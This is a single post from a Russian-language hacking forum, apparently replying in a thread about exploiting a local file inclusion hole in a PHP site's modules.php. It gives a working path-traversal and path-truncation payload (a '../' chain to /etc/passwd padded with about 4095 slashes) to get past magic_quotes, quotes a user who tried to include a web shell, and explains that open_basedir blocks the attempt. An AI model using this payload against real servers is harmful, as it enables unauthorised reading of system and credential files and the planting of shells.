Показать сообщение отдельно

  #8  
Старый 14.04.2010, 22:55
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от Ins3t  
Во первых - нету такого файла pass, есть файл passwd

Проблема в magic_quotes.

Пример для Unix сервера:
Код:
site.ru/modules.php?name=../../../../../../../etc/passwd//////////////////[..4095..]
4095 - это минимальное количество слешей.

Но подобный способ довольно таки редко получается провести.


Цитата:
Сообщение от hackmon  
что делать если такая ошибка
Warning: file_exists() [function.file-exists]: open_basedir restriction in effect. File(modules/../../../../../../../etc/pass\0/copyright.php) is not within the allowed path(s): (/hosting/site.ru/htdocs/) in /hosting/site.ru/htdocs/includes/javascript.php on line 59

адрес такой: site.ru/modules.php?name=../../../../../../../etc/pass
site.ru/modules.php?name= ставлю ссылку на шелл - заплатка стоит



нет смысла инклюдить /etc/passwd - там же написано, что open_basedir врублен.
 
Ответить с цитированием